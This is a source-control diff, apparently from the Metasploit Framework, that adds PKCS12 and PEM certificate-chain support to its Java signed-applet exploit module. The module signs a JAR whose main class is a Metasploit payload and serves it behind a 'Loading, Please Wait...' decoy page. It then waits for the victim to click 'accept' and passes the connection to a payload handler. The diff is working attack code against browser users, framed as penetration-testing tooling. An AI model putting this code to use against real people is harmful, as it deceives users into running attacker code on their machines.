add support for PKCS12 (.pfx) cert/key files and cert chains in PEM files
git-svn-id: file:///home/svn/framework3/trunk@12735 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
8acfef8770
commit
c5781ae515
|
@ -13,6 +13,8 @@ require 'msf/core'
|
||||||
require 'rex'
|
require 'rex'
|
||||||
require 'rex/zip'
|
require 'rex/zip'
|
||||||
|
|
||||||
|
load './lib/rex/zip/jar.rb'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
@ -81,17 +83,31 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 1
|
'DefaultTarget' => 1
|
||||||
))
|
))
|
||||||
register_options(
|
register_options( [
|
||||||
[
|
OptString.new('CERTCN', [ true,
|
||||||
OptString.new('CERTCN', [ true, "The CN= value for the certificate. Cannot contain ',' or '/'", "SiteLoader" ]),
|
"The CN= value for the certificate. Cannot contain ',' or '/'",
|
||||||
OptString.new('APPLETNAME', [ true, "The main applet's class name.", "SiteLoader" ]),
|
"SiteLoader"
|
||||||
OptPath.new('SigningCert', [ false, "Path to a signing certificate. Values from the cert will override CERTCN" ]),
|
]),
|
||||||
|
OptString.new('APPLETNAME', [ true,
|
||||||
|
"The main applet's class name.",
|
||||||
|
"SiteLoader"
|
||||||
|
]),
|
||||||
|
OptPath.new('SigningCert', [ false,
|
||||||
|
"Path to a signing certificate in PEM or PKCS12 (.pfx) format"
|
||||||
|
]),
|
||||||
|
OptPath.new('SigningKey', [ false,
|
||||||
|
"Path to a signing key in PEM format"
|
||||||
|
]),
|
||||||
|
OptString.new('SigningKeyPass', [ false,
|
||||||
|
"Password for signing key (required if SigningCert is a .pfx)"
|
||||||
|
]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
# Not implemented yet.
|
|
||||||
#OptString.new('PACKAGENAME', [ true, "The package name for gen'd classes.","x" ]),
|
def setup
|
||||||
# Needs Rex::Zip to be able to crack zip files
|
load_cert
|
||||||
#OptString.new('CUSTOMJAR', [ false, "A custom .jar applet to use.", nil]),
|
super
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
@ -123,21 +139,55 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
data_dir = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet")
|
data_dir = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet")
|
||||||
jar.add_file("SiteLoader.class", File.read(File.join(data_dir, "SiteLoader.class")))
|
jar.add_file("SiteLoader.class", File.read(File.join(data_dir, "SiteLoader.class")))
|
||||||
jar.build_manifest
|
jar.build_manifest(:main_class => "metasploit.Payload")
|
||||||
|
|
||||||
|
jar.sign(@key, @cert, @ca_certs)
|
||||||
|
#File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
|
||||||
|
|
||||||
|
print_status(
|
||||||
|
"Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}. "+
|
||||||
|
"Waiting for user to click 'accept'...")
|
||||||
|
send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } )
|
||||||
|
|
||||||
|
handler( cli )
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def load_cert
|
||||||
if datastore["SigningCert"]
|
if datastore["SigningCert"]
|
||||||
cert_str = File.read(datastore["SigningCert"])
|
cert_str = File.read(datastore["SigningCert"])
|
||||||
@cert = OpenSSL::X509::Certificate.new(cert_str)
|
|
||||||
|
|
||||||
# First try it as RSA and fallback to DSA if that doesn't work
|
|
||||||
begin
|
begin
|
||||||
@key = OpenSSL::PKey::RSA.new(cert_str)
|
pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"])
|
||||||
rescue OpenSSL::PKey::RSAError => e
|
@cert = pfx.certificate
|
||||||
@key = OpenSSL::PKey::DSA.new(cert_str)
|
@key = pfx.key
|
||||||
|
@ca_certs = pfx.ca_certs
|
||||||
|
|
||||||
|
rescue OpenSSL::PKCS12::PKCS12Error
|
||||||
|
# it wasn't pkcs12, try it as concatenated PEMs
|
||||||
|
certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)
|
||||||
|
@cert = OpenSSL::X509::Certificate.new(certs.shift)
|
||||||
|
@ca_certs = nil
|
||||||
|
while certs.length > 0
|
||||||
|
@ca_certs ||= []
|
||||||
|
@ca_certs << OpenSSL::X509::Certificate.new(certs.shift)
|
||||||
|
end
|
||||||
|
|
||||||
|
if datastore["SigningKey"] and File.file?(datastore["SigningKey"])
|
||||||
|
key_str = File.read(datastore["SigningKey"])
|
||||||
|
else
|
||||||
|
key_str = cert_str
|
||||||
|
end
|
||||||
|
|
||||||
|
# First try it as RSA and fallback to DSA if that doesn't work
|
||||||
|
begin
|
||||||
|
@key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"])
|
||||||
|
rescue OpenSSL::PKey::RSAError => e
|
||||||
|
@key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"])
|
||||||
|
end
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
# Name.parse uses a simple regex that isn't smart enough to allow slashes or
|
# Name.parse uses a simple regex that isn't smart enough to allow
|
||||||
# commas in values, just remove them.
|
# slashes or commas in values, just remove them.
|
||||||
certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")
|
certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")
|
||||||
x509_name = OpenSSL::X509::Name.parse(
|
x509_name = OpenSSL::X509::Name.parse(
|
||||||
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
|
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
|
||||||
|
@ -153,19 +203,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
@cert.not_before = Time.now
|
@cert.not_before = Time.now
|
||||||
@cert.not_after = @cert.not_before + 3600*24*365*3 # 3 years
|
@cert.not_after = @cert.not_before + 3600*24*365*3 # 3 years
|
||||||
end
|
end
|
||||||
|
|
||||||
jar.sign(@key, @cert)
|
|
||||||
File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
|
|
||||||
|
|
||||||
print_status(
|
|
||||||
"Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}. "+
|
|
||||||
"Waiting for user to click 'accept'...")
|
|
||||||
send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } )
|
|
||||||
|
|
||||||
handler( cli )
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def generate_html
|
def generate_html
|
||||||
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
|
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
|
||||||
html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|
|
html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|
|
||||||
|
@ -179,46 +219,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
return html
|
return html
|
||||||
end
|
end
|
||||||
|
|
||||||
def build_static_sig(jar)
|
|
||||||
files = [
|
|
||||||
"metasploit/Payload.class",
|
|
||||||
"SiteLoader.class",
|
|
||||||
"META-INF/MANIFEST.MF",
|
|
||||||
"META-INF/SIGNFILE.RSA",
|
|
||||||
"META-INF/SIGNFILE.SF",
|
|
||||||
]
|
|
||||||
|
|
||||||
# Ghetto. Replace existing files in the Jar, then add in
|
|
||||||
# anything that wasn't replaced. The reason for replacing the
|
|
||||||
# .class files is to ensure that we're sending the
|
|
||||||
# Payload.class as was signed rather than a newer one that was
|
|
||||||
# updated without updating the signature. We'll just have to
|
|
||||||
# cross our fingers and hope that any updates don't break
|
|
||||||
# backwards compatibility in the handler until we can get
|
|
||||||
# signing to work from ruby. Once we can sign jars directly
|
|
||||||
# from ruby using OpenSSL, this won't be a problem.
|
|
||||||
replaced = []
|
|
||||||
# Replace the ones that are already there.
|
|
||||||
jar.entries.map do |e|
|
|
||||||
file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e.name)
|
|
||||||
if File.file? file
|
|
||||||
File.open(file, "rb") do |f|
|
|
||||||
e.data = f.read(f.stat.size)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
replaced << e.name
|
|
||||||
end
|
|
||||||
# Add the rest
|
|
||||||
files.each { |e|
|
|
||||||
next if replaced.include? e
|
|
||||||
file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e)
|
|
||||||
File.open(file, "rb") do |f|
|
|
||||||
jar.add_file(e, f.read(f.stat.size))
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
jar
|
|
||||||
end
|
|
||||||
|
|
||||||
# Currently unused until we ship a java compiler of some sort
|
# Currently unused until we ship a java compiler of some sort
|
||||||
def applet_code
|
def applet_code
|
||||||
|
|
Loading…
Reference in New Issue